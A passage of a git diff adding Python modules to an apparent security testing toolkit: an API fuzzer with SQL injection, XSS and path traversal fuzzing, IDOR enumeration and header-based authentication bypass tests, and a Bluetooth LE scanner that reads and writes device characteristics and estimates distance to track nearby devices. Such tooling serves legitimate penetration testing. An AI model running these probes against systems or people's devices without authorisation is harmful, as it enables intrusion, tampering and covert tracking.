+ # Check allowed methods via OPTIONS
+ try:
+ opts = self.session.options(url, timeout=3)
+ allow = opts.headers.get('Allow', '')
+ if allow:
+ entry['methods'] = [m.strip() for m in allow.split(',')]
+ except Exception:
+ pass
+
+ found.append(entry)
+ except Exception:
+ self._jobs[job_id]['checked'] += 1
+
+ # Thread pool
+ active_threads = []
+ for path in paths:
+ t = threading.Thread(target=check_path, args=(path,))
+ t.start()
+ active_threads.append(t)
+ if len(active_threads) >= threads:
+ for at in active_threads:
+ at.join(timeout=10)
+ active_threads.clear()
+
+ for t in active_threads:
+ t.join(timeout=10)
+
+ self._jobs[job_id]['found'] = found
+ self._jobs[job_id]['status'] = 'complete'
+
+ threading.Thread(target=_discover, daemon=True).start()
+ return job_id
+
+ def parse_openapi(self, url_or_path: str) -> Dict:
+ """Parse OpenAPI/Swagger spec to extract endpoints."""
+ try:
+ if url_or_path.startswith('http'):
+ resp = self.session.get(url_or_path, timeout=10)
+ spec = resp.json()
+ else:
+ with open(url_or_path) as f:
+ spec = json.load(f)
+
+ endpoints = []
+ paths = spec.get('paths', {})
+ for path, methods in paths.items():
+ for method, details in methods.items():
+ if method.upper() in ('GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'):
+ params = []
+ for p in details.get('parameters', []):
+ params.append({
+ 'name': p.get('name'),
+ 'in': p.get('in'),
+ 'required': p.get('required', False),
+ 'type': p.get('schema', {}).get('type', 'string')
+ })
+ endpoints.append({
+ 'path': path,
+ 'method': method.upper(),
+ 'summary': details.get('summary', ''),
+ 'parameters': params,
+ 'tags': details.get('tags', [])
+ })
+
+ return {
+ 'ok': True,
+ 'title': spec.get('info', {}).get('title', ''),
+ 'version': spec.get('info', {}).get('version', ''),
+ 'endpoints': endpoints,
+ 'count': len(endpoints)
+ }
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # ── Parameter Fuzzing ────────────────────────────────────────────────
+
+ def fuzz_params(self, url: str, method: str = 'GET',
+ params: Dict = None, payload_type: str = 'type_confusion') -> Dict:
+ """Fuzz API parameters with various payloads."""
+ if not self.session:
+ return {'ok': False, 'error': 'requests not available'}
+
+ if payload_type == 'sqli':
+ payloads = SQLI_PAYLOADS
+ elif payload_type == 'xss':
+ payloads = XSS_PAYLOADS
+ elif payload_type == 'traversal':
+ payloads = TRAVERSAL_PAYLOADS
+ else:
+ payloads = TYPE_CONFUSION
+
+ params = params or {}
+ findings = []
+
+ for param_name, original_value in params.items():
+ for payload in payloads:
+ fuzzed = copy.deepcopy(params)
+ fuzzed[param_name] = payload
+
+ try:
+ if method.upper() == 'GET':
+ resp = self.session.get(url, params=fuzzed, timeout=10)
+ else:
+ resp = self.session.request(method.upper(), url, json=fuzzed, timeout=10)
+
+ # Analyze response for anomalies
+ finding = self._analyze_fuzz_response(
+ resp, param_name, payload, payload_type
+ )
+ if finding:
+ findings.append(finding)
+
+ except RequestException as e:
+ if 'timeout' not in str(e).lower():
+ findings.append({
+ 'param': param_name,
+ 'payload': str(payload),
+ 'type': 'error',
+ 'detail': str(e)
+ })
+
+ return {'ok': True, 'findings': findings, 'tested': len(params) * len(payloads)}
+
+ def _analyze_fuzz_response(self, resp, param: str, payload, payload_type: str) -> Optional[Dict]:
+ """Analyze response for vulnerability indicators."""
+ body = resp.text.lower()
+ finding = None
+
+ # SQL error detection
+ sql_errors = [
+ 'sql syntax', 'mysql_fetch', 'pg_query', 'sqlite3',
+ 'unclosed quotation', 'unterminated string', 'syntax error',
+ 'odbc', 'oracle error', 'microsoft ole db', 'ora-0'
+ ]
+ if payload_type == 'sqli' and any(e in body for e in sql_errors):
+ finding = {
+ 'param': param, 'payload': str(payload),
+ 'type': 'sqli', 'severity': 'high',
+ 'detail': 'SQL error in response',
+ 'status': resp.status_code
+ }
+
+ # XSS reflection
+ if payload_type == 'xss' and str(payload).lower() in body:
+ finding = {
+ 'param': param, 'payload': str(payload),
+ 'type': 'xss_reflected', 'severity': 'high',
+ 'detail': 'Payload reflected in response',
+ 'status': resp.status_code
+ }
+
+ # Path traversal
+ if payload_type == 'traversal':
+ traversal_indicators = ['root:', '/bin/', 'windows\\system32', '[boot loader]']
+ if any(t in body for t in traversal_indicators):
+ finding = {
+ 'param': param, 'payload': str(payload),
+ 'type': 'path_traversal', 'severity': 'critical',
+ 'detail': 'File content in response',
+ 'status': resp.status_code
+ }
+
+ # Server error (500) might indicate injection
+ if resp.status_code == 500 and not finding:
+ finding = {
+ 'param': param, 'payload': str(payload),
+ 'type': 'server_error', 'severity': 'medium',
+ 'detail': f'Server error (500) triggered',
+ 'status': resp.status_code
+ }
+
+ # Stack trace / debug info disclosure
+ debug_indicators = [
+ 'traceback', 'stacktrace', 'exception', 'debug',
+ 'at line', 'file "/', 'internal server error'
+ ]
+ if any(d in body for d in debug_indicators) and not finding:
+ finding = {
+ 'param': param, 'payload': str(payload),
+ 'type': 'info_disclosure', 'severity': 'medium',
+ 'detail': 'Debug/stack trace in response',
+ 'status': resp.status_code
+ }
+
+ return finding
+
+ # ── Auth Testing ─────────────────────────────────────────────────────
+
+ def test_idor(self, url_template: str, id_range: Tuple[int, int],
+ auth_token: str = None) -> Dict:
+ """Test for IDOR by iterating IDs."""
+ findings = []
+ start_id, end_id = id_range
+
+ if auth_token:
+ self.session.headers['Authorization'] = f'Bearer {auth_token}'
+
+ for i in range(start_id, end_id + 1):
+ url = url_template.replace('{id}', str(i))
+ try:
+ resp = self.session.get(url, timeout=5)
+ if resp.status_code == 200:
+ findings.append({
+ 'id': i, 'url': url,
+ 'status': resp.status_code,
+ 'size': len(resp.content),
+ 'accessible': True
+ })
+ elif resp.status_code not in (401, 403, 404):
+ findings.append({
+ 'id': i, 'url': url,
+ 'status': resp.status_code,
+ 'accessible': False,
+ 'note': f'Unexpected status: {resp.status_code}'
+ })
+ except Exception:
+ pass
+
+ return {
+ 'ok': True, 'findings': findings,
+ 'accessible_count': sum(1 for f in findings if f.get('accessible')),
+ 'tested': end_id - start_id + 1
+ }
+
+ def test_auth_bypass(self, url: str) -> Dict:
+ """Test common auth bypass techniques."""
+ bypasses = []
+
+ tests = [
+ ('No auth header', {}),
+ ('Empty Bearer', {'Authorization': 'Bearer '}),
+ ('Bearer null', {'Authorization': 'Bearer null'}),
+ ('Bearer undefined', {'Authorization': 'Bearer undefined'}),
+ ('Admin header', {'X-Admin': 'true'}),
+ ('Internal header', {'X-Forwarded-For': '127.0.0.1'}),
+ ('Override method', {'X-HTTP-Method-Override': 'GET'}),
+ ('Original URL', {'X-Original-URL': '/admin'}),
+ ]
+
+ for name, headers in tests:
+ try:
+ resp = requests.get(url, headers=headers, timeout=5)
+ if resp.status_code == 200:
+ bypasses.append({
+ 'technique': name,
+ 'status': resp.status_code,
+ 'size': len(resp.content),
+ 'success': True
+ })
+ else:
+ bypasses.append({
+ 'technique': name,
+ 'status': resp.status_code,
+ 'success': False
+ })
+ except Exception:
+ pass
+
+ return {
+ 'ok': True,
+ 'bypasses': bypasses,
+ 'successful': sum(1 for b in bypasses if b.get('success'))
+ }
+
+ # ── Rate Limiting ────────────────────────────────────────────────────
+
+ def test_rate_limit(self, url: str, requests_count: int = 50,
+ method: str = 'GET') -> Dict:
+ """Test API rate limiting."""
+ results = []
+ start_time = time.time()
+
+ for i in range(requests_count):
+ try:
+ resp = self.session.request(method, url, timeout=10)
+ results.append({
+ 'request_num': i + 1,
+ 'status': resp.status_code,
+ 'time': time.time() - start_time,
+ 'rate_limit_remaining': resp.headers.get('X-RateLimit-Remaining', ''),
+ 'retry_after': resp.headers.get('Retry-After', '')
+ })
+ if resp.status_code == 429:
+ break
+ except Exception as e:
+ results.append({
+ 'request_num': i + 1,
+ 'error': str(e),
+ 'time': time.time() - start_time
+ })
+
+ rate_limited = any(r.get('status') == 429 for r in results)
+ elapsed = time.time() - start_time
+
+ return {
+ 'ok': True,
+ 'rate_limited': rate_limited,
+ 'total_requests': len(results),
+ 'elapsed_seconds': round(elapsed, 2),
+ 'rps': round(len(results) / elapsed, 1) if elapsed > 0 else 0,
+ 'limit_hit_at': next((r['request_num'] for r in results if r.get('status') == 429), None),
+ 'results': results
+ }
+
+ # ── GraphQL ──────────────────────────────────────────────────────────
+
+ def graphql_introspect(self, url: str) -> Dict:
+ """Run GraphQL introspection query."""
+ query = {
+ 'query': '''
+ {
+ __schema {
+ types {
+ name
+ kind
+ fields {
+ name
+ type { name kind }
+ args { name type { name } }
+ }
+ }
+ queryType { name }
+ mutationType { name }
+ }
+ }
+ '''
+ }
+
+ try:
+ resp = self.session.post(url, json=query, timeout=15)
+ data = resp.json()
+
+ if 'errors' in data and not data.get('data'):
+ return {'ok': False, 'error': 'Introspection disabled or error',
+ 'errors': data['errors']}
+
+ schema = data.get('data', {}).get('__schema', {})
+ types = []
+ for t in schema.get('types', []):
+ if not t['name'].startswith('__'):
+ types.append({
+ 'name': t['name'],
+ 'kind': t['kind'],
+ 'fields': [
+ {'name': f['name'],
+ 'type': f['type'].get('name', f['type'].get('kind', '')),
+ 'args': [a['name'] for a in f.get('args', [])]}
+ for f in (t.get('fields') or [])
+ ]
+ })
+
+ return {
+ 'ok': True,
+ 'query_type': schema.get('queryType', {}).get('name'),
+ 'mutation_type': schema.get('mutationType', {}).get('name'),
+ 'types': types,
+ 'type_count': len(types)
+ }
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def graphql_depth_test(self, url: str, max_depth: int = 10) -> Dict:
+ """Test GraphQL query depth limits."""
+ results = []
+ for depth in range(1, max_depth + 1):
+ # Build nested query
+ inner = '{ __typename }'
+ for _ in range(depth):
+ inner = f'{{ __schema {{ types {inner} }} }}'
+
+ try:
+ resp = self.session.post(url, json={'query': inner}, timeout=10)
+ results.append({
+ 'depth': depth,
+ 'status': resp.status_code,
+ 'has_errors': 'errors' in resp.json() if resp.headers.get('content-type', '').startswith('application/json') else None
+ })
+ if resp.status_code != 200:
+ break
+ except Exception:
+ results.append({'depth': depth, 'error': True})
+ break
+
+ max_allowed = max((r['depth'] for r in results if r.get('status') == 200), default=0)
+ return {
+ 'ok': True,
+ 'max_depth_allowed': max_allowed,
+ 'depth_limited': max_allowed < max_depth,
+ 'results': results
+ }
+
+ # ── Response Analysis ────────────────────────────────────────────────
+
+ def analyze_response(self, url: str, method: str = 'GET') -> Dict:
+ """Analyze API response for security issues."""
+ try:
+ resp = self.session.request(method, url, timeout=10)
+ issues = []
+
+ # Check security headers
+ security_headers = {
+ 'X-Content-Type-Options': 'nosniff',
+ 'X-Frame-Options': 'DENY|SAMEORIGIN',
+ 'Strict-Transport-Security': None,
+ 'Content-Security-Policy': None,
+ 'X-XSS-Protection': None,
+ }
+ for header, expected in security_headers.items():
+ val = resp.headers.get(header)
+ if not val:
+ issues.append({
+ 'type': 'missing_header',
+ 'header': header,
+ 'severity': 'low'
+ })
+
+ # Check for info disclosure
+ server = resp.headers.get('Server', '')
+ if server and any(v in server.lower() for v in ['apache/', 'nginx/', 'iis/']):
+ issues.append({
+ 'type': 'server_disclosure',
+ 'value': server,
+ 'severity': 'info'
+ })
+
+ powered_by = resp.headers.get('X-Powered-By', '')
+ if powered_by:
+ issues.append({
+ 'type': 'technology_disclosure',
+ 'value': powered_by,
+ 'severity': 'low'
+ })
+
+ # Check CORS
+ cors = resp.headers.get('Access-Control-Allow-Origin', '')
+ if cors == '*':
+ issues.append({
+ 'type': 'open_cors',
+ 'value': cors,
+ 'severity': 'medium'
+ })
+
+ # Check for error/debug info in body
+ body = resp.text.lower()
+ if any(kw in body for kw in ['stack trace', 'traceback', 'debug mode']):
+ issues.append({
+ 'type': 'debug_info',
+ 'severity': 'medium',
+ 'detail': 'Debug/stack trace information in response'
+ })
+
+ return {
+ 'ok': True,
+ 'url': url,
+ 'status': resp.status_code,
+ 'headers': dict(resp.headers),
+ 'issues': issues,
+ 'issue_count': len(issues)
+ }
+
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # ── Job Management ───────────────────────────────────────────────────
+
+ def get_job(self, job_id: str) -> Optional[Dict]:
+ return self._jobs.get(job_id)
+
+ def list_jobs(self) -> List[Dict]:
+ return [{'id': k, **v} for k, v in self._jobs.items()]
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+
+def get_api_fuzzer() -> APIFuzzer:
+ global _instance
+ if _instance is None:
+ _instance = APIFuzzer()
+ return _instance
+
+
+# ── CLI Interface ────────────────────────────────────────────────────────────
+
+def run():
+ """CLI entry point for API Fuzzer module."""
+ if not HAS_REQUESTS:
+ print(" Error: requests library not installed")
+ return
+
+ fuzzer = get_api_fuzzer()
+
+ while True:
+ print(f"\n{'='*60}")
+ print(f" API Fuzzer")
+ print(f"{'='*60}")
+ print()
+ print(" 1 — Discover Endpoints")
+ print(" 2 — Parse OpenAPI Spec")
+ print(" 3 — Fuzz Parameters")
+ print(" 4 — Test Auth Bypass")
+ print(" 5 — Test IDOR")
+ print(" 6 — Test Rate Limiting")
+ print(" 7 — GraphQL Introspection")
+ print(" 8 — Analyze Response")
+ print(" 9 — Set Authentication")
+ print(" 0 — Back")
+ print()
+
+ choice = input(" > ").strip()
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ base = input(" Base URL: ").strip()
+ if base:
+ job_id = fuzzer.discover_endpoints(base)
+ print(f" Discovery started (job: {job_id})")
+ while True:
+ job = fuzzer.get_job(job_id)
+ if job['status'] == 'complete':
+ print(f" Found {len(job['found'])} endpoints:")
+ for ep in job['found']:
+ print(f" [{ep['status']}] {ep['path']} "
+ f"({ep['content_type'][:30]})")
+ break
+ print(f" Checking... {job['checked']}/{job['total']}")
+ time.sleep(1)
+ elif choice == '2':
+ url = input(" OpenAPI spec URL or file: ").strip()
+ if url:
+ result = fuzzer.parse_openapi(url)
+ if result['ok']:
+ print(f" API: {result['title']} v{result['version']}")
+ print(f" Endpoints: {result['count']}")
+ for ep in result['endpoints'][:20]:
+ print(f" {ep['method']:<6} {ep['path']} {ep.get('summary', '')}")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '3':
+ url = input(" Endpoint URL: ").strip()
+ param_str = input(" Parameters (key=val,key=val): ").strip()
+ ptype = input(" Payload type (sqli/xss/traversal/type_confusion): ").strip() or 'type_confusion'
+ if url and param_str:
+ params = dict(p.split('=', 1) for p in param_str.split(',') if '=' in p)
+ result = fuzzer.fuzz_params(url, params=params, payload_type=ptype)
+ if result['ok']:
+ print(f" Tested {result['tested']} combinations, {len(result['findings'])} findings:")
+ for f in result['findings']:
+ print(f" [{f.get('severity', '?')}] {f['type']}: {f['param']} = {f['payload'][:50]}")
+ elif choice == '4':
+ url = input(" Protected URL: ").strip()
+ if url:
+ result = fuzzer.test_auth_bypass(url)
+ print(f" Tested {len(result['bypasses'])} techniques, {result['successful']} successful")
+ for b in result['bypasses']:
+ status = 'BYPASSED' if b['success'] else f'blocked ({b["status"]})'
+ print(f" {b['technique']}: {status}")
+ elif choice == '6':
+ url = input(" URL to test: ").strip()
+ count = input(" Request count (default 50): ").strip()
+ if url:
+ result = fuzzer.test_rate_limit(url, int(count) if count.isdigit() else 50)
+ print(f" Rate limited: {result['rate_limited']}")
+ print(f" RPS: {result['rps']} | Total: {result['total_requests']} in {result['elapsed_seconds']}s")
+ if result['limit_hit_at']:
+ print(f" Limit hit at request #{result['limit_hit_at']}")
+ elif choice == '7':
+ url = input(" GraphQL URL: ").strip()
+ if url:
+ result = fuzzer.graphql_introspect(url)
+ if result['ok']:
+ print(f" Found {result['type_count']} types")
+ for t in result['types'][:10]:
+ print(f" {t['kind']}: {t['name']} ({len(t['fields'])} fields)")
+ else:
+ print(f" Error: {result['error']}")
+ elif choice == '8':
+ url = input(" URL: ").strip()
+ if url:
+ result = fuzzer.analyze_response(url)
+ if result['ok']:
+ print(f" Status: {result['status']} | Issues: {result['issue_count']}")
+ for issue in result['issues']:
+ print(f" [{issue['severity']}] {issue['type']}: {issue.get('value', issue.get('detail', ''))}")
+ elif choice == '9':
+ auth_type = input(" Auth type (bearer/api_key/basic/cookie): ").strip()
+ value = input(" Value: ").strip()
+ if auth_type and value:
+ fuzzer.set_auth(auth_type, value)
+ print(" Authentication configured")
diff --git a/modules/ble_scanner.py b/modules/ble_scanner.py
new file mode 100644
index 0000000..a71199a
--- /dev/null
+++ b/modules/ble_scanner.py
@@ -0,0 +1,555 @@
+"""AUTARCH BLE Scanner
+
+Bluetooth Low Energy device discovery, service enumeration, characteristic
+read/write, vulnerability scanning, and proximity tracking.
+"""
+
+DESCRIPTION = "BLE device scanning & security analysis"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "analyze"
+
+import os
+import re
+import json
+import time
+import threading
+from pathlib import Path
+from datetime import datetime, timezone
+from typing import Dict, List, Optional, Any
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+# Optional BLE library
+try:
+ import asyncio
+ from bleak import BleakScanner, BleakClient
+ HAS_BLEAK = True
+except ImportError:
+ HAS_BLEAK = False
+
+
+# ── Known Service UUIDs ──────────────────────────────────────────────────────
+
+KNOWN_SERVICES = {
+ '00001800-0000-1000-8000-00805f9b34fb': 'Generic Access',
+ '00001801-0000-1000-8000-00805f9b34fb': 'Generic Attribute',
+ '0000180a-0000-1000-8000-00805f9b34fb': 'Device Information',
+ '0000180f-0000-1000-8000-00805f9b34fb': 'Battery Service',
+ '00001812-0000-1000-8000-00805f9b34fb': 'Human Interface Device',
+ '0000180d-0000-1000-8000-00805f9b34fb': 'Heart Rate',
+ '00001809-0000-1000-8000-00805f9b34fb': 'Health Thermometer',
+ '00001802-0000-1000-8000-00805f9b34fb': 'Immediate Alert',
+ '00001803-0000-1000-8000-00805f9b34fb': 'Link Loss',
+ '00001804-0000-1000-8000-00805f9b34fb': 'Tx Power',
+ '00001805-0000-1000-8000-00805f9b34fb': 'Current Time',
+ '00001808-0000-1000-8000-00805f9b34fb': 'Glucose',
+ '00001810-0000-1000-8000-00805f9b34fb': 'Blood Pressure',
+ '00001813-0000-1000-8000-00805f9b34fb': 'Scan Parameters',
+ '00001816-0000-1000-8000-00805f9b34fb': 'Cycling Speed & Cadence',
+ '00001818-0000-1000-8000-00805f9b34fb': 'Cycling Power',
+ '00001814-0000-1000-8000-00805f9b34fb': 'Running Speed & Cadence',
+ '0000fee0-0000-1000-8000-00805f9b34fb': 'Mi Band Service',
+ '0000feaa-0000-1000-8000-00805f9b34fb': 'Eddystone (Google)',
+}
+
+MANUFACTURER_IDS = {
+ 0x004C: 'Apple',
+ 0x0006: 'Microsoft',
+ 0x000F: 'Texas Instruments',
+ 0x0059: 'Nordic Semiconductor',
+ 0x0075: 'Samsung',
+ 0x00E0: 'Google',
+ 0x0157: 'Xiaomi',
+ 0x0171: 'Amazon',
+ 0x02FF: 'Huawei',
+ 0x0310: 'Fitbit',
+}
+
+KNOWN_VULNS = {
+ 'KNOB': {
+ 'description': 'Key Negotiation of Bluetooth Attack — downgrades encryption key entropy',
+ 'cve': 'CVE-2019-9506',
+ 'severity': 'high',
+ 'check': 'Requires active MITM during pairing'
+ },
+ 'BLESA': {
+ 'description': 'BLE Spoofing Attack — reconnection spoofing without auth',
+ 'cve': 'CVE-2020-9770',
+ 'severity': 'medium',
+ 'check': 'Affects reconnection after disconnect'
+ },
+ 'SweynTooth': {
+ 'description': 'Family of BLE implementation bugs causing crashes/deadlocks',
+ 'cve': 'Multiple (CVE-2019-16336, CVE-2019-17519, etc.)',
+ 'severity': 'high',
+ 'check': 'Vendor-specific, requires firmware version check'
+ },
+ 'BlueBorne': {
+ 'description': 'Remote code execution via Bluetooth without pairing',
+ 'cve': 'CVE-2017-0781 to CVE-2017-0785',
+ 'severity': 'critical',
+ 'check': 'Requires classic BT stack, pre-2018 devices vulnerable'
+ }
+}
+
+
+# ── BLE Scanner ──────────────────────────────────────────────────────────────
+
+class BLEScanner:
+ """Bluetooth Low Energy device scanner and analyzer."""
+
+ def __init__(self):
+ self.data_dir = os.path.join(get_data_dir(), 'ble')
+ os.makedirs(self.data_dir, exist_ok=True)
+ self.devices: Dict[str, Dict] = {}
+ self.tracking_history: Dict[str, List[Dict]] = {}
+ self._scan_running = False
+
+ def is_available(self) -> bool:
+ """Check if BLE scanning is available."""
+ return HAS_BLEAK
+
+ def get_status(self) -> Dict:
+ """Get scanner status."""
+ return {
+ 'available': HAS_BLEAK,
+ 'devices_found': len(self.devices),
+ 'scanning': self._scan_running,
+ 'tracking': len(self.tracking_history)
+ }
+
+ # ── Scanning ─────────────────────────────────────────────────────────
+
+ def scan(self, duration: float = 10.0) -> Dict:
+ """Scan for BLE devices."""
+ if not HAS_BLEAK:
+ return {'ok': False, 'error': 'bleak library not installed (pip install bleak)'}
+
+ self._scan_running = True
+
+ try:
+ loop = asyncio.new_event_loop()
+ devices = loop.run_until_complete(self._async_scan(duration))
+ loop.close()
+
+ results = []
+ for dev in devices:
+ info = self._parse_device(dev)
+ self.devices[info['address']] = info
+ results.append(info)
+
+ self._scan_running = False
+ return {
+ 'ok': True,
+ 'devices': results,
+ 'count': len(results),
+ 'duration': duration
+ }
+
+ except Exception as e:
+ self._scan_running = False
+ return {'ok': False, 'error': str(e)}
+
+ async def _async_scan(self, duration: float):
+ """Async BLE scan."""
+ devices = await BleakScanner.discover(timeout=duration, return_adv=True)
+ return devices
+
+ def _parse_device(self, dev_adv) -> Dict:
+ """Parse BLE device advertisement data."""
+ if isinstance(dev_adv, tuple):
+ dev, adv = dev_adv
+ else:
+ dev = dev_adv
+ adv = None
+
+ info = {
+ 'address': str(dev.address) if hasattr(dev, 'address') else str(dev),
+ 'name': dev.name if hasattr(dev, 'name') else 'Unknown',
+ 'rssi': dev.rssi if hasattr(dev, 'rssi') else (adv.rssi if adv and hasattr(adv, 'rssi') else 0),
+ 'services': [],
+ 'manufacturer': 'Unknown',
+ 'device_type': 'unknown',
+ 'connectable': True,
+ 'last_seen': datetime.now(timezone.utc).isoformat(),
+ }
+
+ # Parse advertisement data
+ if adv:
+ # Service UUIDs
+ if hasattr(adv, 'service_uuids'):
+ for uuid in adv.service_uuids:
+ service_name = KNOWN_SERVICES.get(uuid.lower(), uuid)
+ info['services'].append({'uuid': uuid, 'name': service_name})
+
+ # Manufacturer data
+ if hasattr(adv, 'manufacturer_data'):
+ for company_id, data in adv.manufacturer_data.items():
+ info['manufacturer'] = MANUFACTURER_IDS.get(company_id, f'ID: {company_id:#06x}')
+ info['manufacturer_data'] = data.hex() if isinstance(data, bytes) else str(data)
+
+ # TX Power
+ if hasattr(adv, 'tx_power'):
+ info['tx_power'] = adv.tx_power
+
+ # Classify device type
+ info['device_type'] = self._classify_device(info)
+
+ return info
+
+ def _classify_device(self, info: Dict) -> str:
+ """Classify device type from services and name."""
+ name = (info.get('name') or '').lower()
+ services = [s['uuid'].lower() for s in info.get('services', [])]
+
+ if any('1812' in s for s in services):
+ return 'hid' # keyboard/mouse
+ if any('180d' in s for s in services):
+ return 'fitness'
+ if any('180f' in s for s in services):
+ if 'headphone' in name or 'airpod' in name or 'buds' in name:
+ return 'audio'
+ if any('fee0' in s for s in services):
+ return 'wearable'
+ if info.get('manufacturer') == 'Apple':
+ if 'watch' in name:
+ return 'wearable'
+ if 'airpod' in name:
+ return 'audio'
+ return 'apple_device'
+ if 'tv' in name or 'chromecast' in name or 'roku' in name:
+ return 'media'
+ if 'lock' in name or 'door' in name:
+ return 'smart_lock'
+ if 'light' in name or 'bulb' in name or 'hue' in name:
+ return 'smart_light'
+ if 'beacon' in name or any('feaa' in s for s in services):
+ return 'beacon'
+ if 'tile' in name or 'airtag' in name or 'tracker' in name:
+ return 'tracker'
+ return 'unknown'
+
+ # ── Device Detail ────────────────────────────────────────────────────
+
+ def get_device_detail(self, address: str) -> Dict:
+ """Connect to device and enumerate services/characteristics."""
+ if not HAS_BLEAK:
+ return {'ok': False, 'error': 'bleak not installed'}
+
+ try:
+ loop = asyncio.new_event_loop()
+ result = loop.run_until_complete(self._async_detail(address))
+ loop.close()
+ return result
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ async def _async_detail(self, address: str) -> Dict:
+ """Async device detail enumeration."""
+ async with BleakClient(address) as client:
+ services = []
+ for service in client.services:
+ svc = {
+ 'uuid': service.uuid,
+ 'name': KNOWN_SERVICES.get(service.uuid.lower(), service.description or service.uuid),
+ 'characteristics': []
+ }
+ for char in service.characteristics:
+ ch = {
+ 'uuid': char.uuid,
+ 'description': char.description or char.uuid,
+ 'properties': char.properties,
+ 'value': None
+ }
+ # Try to read if readable
+ if 'read' in char.properties:
+ try:
+ val = await client.read_gatt_char(char.uuid)
+ ch['value'] = val.hex() if isinstance(val, bytes) else str(val)
+ # Try UTF-8 decode
+ try:
+ ch['value_text'] = val.decode('utf-8')
+ except (UnicodeDecodeError, AttributeError):
+ pass
+ except Exception:
+ ch['value'] = ''
+
+ svc['characteristics'].append(ch)
+ services.append(svc)
+
+ return {
+ 'ok': True,
+ 'address': address,
+ 'connected': True,
+ 'services': services,
+ 'service_count': len(services),
+ 'char_count': sum(len(s['characteristics']) for s in services)
+ }
+
+ def read_characteristic(self, address: str, char_uuid: str) -> Dict:
+ """Read a specific characteristic value."""
+ if not HAS_BLEAK:
+ return {'ok': False, 'error': 'bleak not installed'}
+
+ try:
+ loop = asyncio.new_event_loop()
+ result = loop.run_until_complete(self._async_read(address, char_uuid))
+ loop.close()
+ return result
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ async def _async_read(self, address: str, char_uuid: str) -> Dict:
+ async with BleakClient(address) as client:
+ val = await client.read_gatt_char(char_uuid)
+ return {
+ 'ok': True,
+ 'address': address,
+ 'characteristic': char_uuid,
+ 'value_hex': val.hex(),
+ 'value_bytes': list(val),
+ 'size': len(val)
+ }
+
+ def write_characteristic(self, address: str, char_uuid: str,
+ data: bytes) -> Dict:
+ """Write to a characteristic."""
+ if not HAS_BLEAK:
+ return {'ok': False, 'error': 'bleak not installed'}
+
+ try:
+ loop = asyncio.new_event_loop()
+ result = loop.run_until_complete(self._async_write(address, char_uuid, data))
+ loop.close()
+ return result
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ async def _async_write(self, address: str, char_uuid: str, data: bytes) -> Dict:
+ async with BleakClient(address) as client:
+ await client.write_gatt_char(char_uuid, data)
+ return {'ok': True, 'address': address, 'characteristic': char_uuid,
+ 'written': len(data)}
+
+ # ── Vulnerability Scanning ───────────────────────────────────────────
+
+ def vuln_scan(self, address: str = None) -> Dict:
+ """Check for known BLE vulnerabilities."""
+ vulns = []
+
+ for vuln_name, vuln_info in KNOWN_VULNS.items():
+ entry = {
+ 'name': vuln_name,
+ 'description': vuln_info['description'],
+ 'cve': vuln_info['cve'],
+ 'severity': vuln_info['severity'],
+ 'status': 'check_required',
+ 'note': vuln_info['check']
+ }
+ vulns.append(entry)
+
+ # Device-specific checks
+ if address and address in self.devices:
+ dev = self.devices[address]
+ manufacturer = dev.get('manufacturer', '')
+
+ # Apple devices with older firmware
+ if manufacturer == 'Apple':
+ vulns.append({
+ 'name': 'Apple BLE Tracking',
+ 'description': 'Apple devices broadcast continuity messages that can be tracked',
+ 'severity': 'info',
+ 'status': 'detected' if 'apple_device' in dev.get('device_type', '') else 'not_applicable',
+ 'note': 'Apple continuity protocol leaks device info'
+ })
+
+ # Devices without encryption
+ for svc in dev.get('services', []):
+ if 'immediate alert' in svc.get('name', '').lower():
+ vulns.append({
+ 'name': 'Unauthenticated Alert Service',
+ 'description': 'Immediate Alert service accessible without pairing',
+ 'severity': 'low',
+ 'status': 'detected',
+ 'note': 'Can trigger alerts on device without authentication'
+ })
+
+ return {
+ 'ok': True,
+ 'address': address,
+ 'vulnerabilities': vulns,
+ 'vuln_count': len(vulns)
+ }
+
+ # ── Proximity Tracking ───────────────────────────────────────────────
+
+ def track_device(self, address: str) -> Dict:
+ """Record RSSI for proximity tracking."""
+ if address not in self.devices:
+ return {'ok': False, 'error': 'Device not found. Run scan first.'}
+
+ dev = self.devices[address]
+ rssi = dev.get('rssi', 0)
+ tx_power = dev.get('tx_power', -59) # default TX power
+
+ # Estimate distance (rough path-loss model)
+ if rssi != 0:
+ ratio = rssi / tx_power
+ if ratio < 1.0:
+ distance = pow(ratio, 10)
+ else:
+ distance = 0.89976 * pow(ratio, 7.7095) + 0.111
+ else:
+ distance = -1
+
+ entry = {
+ 'timestamp': datetime.now(timezone.utc).isoformat(),
+ 'rssi': rssi,
+ 'estimated_distance_m': round(distance, 2),
+ 'tx_power': tx_power
+ }
+
+ if address not in self.tracking_history:
+ self.tracking_history[address] = []
+ self.tracking_history[address].append(entry)
+
+ return {
+ 'ok': True,
+ 'address': address,
+ 'name': dev.get('name', 'Unknown'),
+ 'current': entry,
+ 'history_count': len(self.tracking_history[address])
+ }
+
+ def get_tracking_history(self, address: str) -> List[Dict]:
+ """Get tracking history for a device."""
+ return self.tracking_history.get(address, [])
+
+ # ── Persistence ──────────────────────────────────────────────────────
+
+ def save_scan(self, name: str = None) -> Dict:
+ """Save current scan results."""
+ name = name or f'scan_{int(time.time())}'
+ filepath = os.path.join(self.data_dir, f'{name}.json')
+ with open(filepath, 'w') as f:
+ json.dump({
+ 'timestamp': datetime.now(timezone.utc).isoformat(),
+ 'devices': list(self.devices.values()),
+ 'count': len(self.devices)
+ }, f, indent=2)
+ return {'ok': True, 'path': filepath, 'count': len(self.devices)}
+
+ def list_scans(self) -> List[Dict]:
+ """List saved scans."""
+ scans = []
+ for f in Path(self.data_dir).glob('*.json'):
+ try:
+ with open(f) as fh:
+ data = json.load(fh)
+ scans.append({
+ 'name': f.stem,
+ 'path': str(f),
+ 'timestamp': data.get('timestamp', ''),
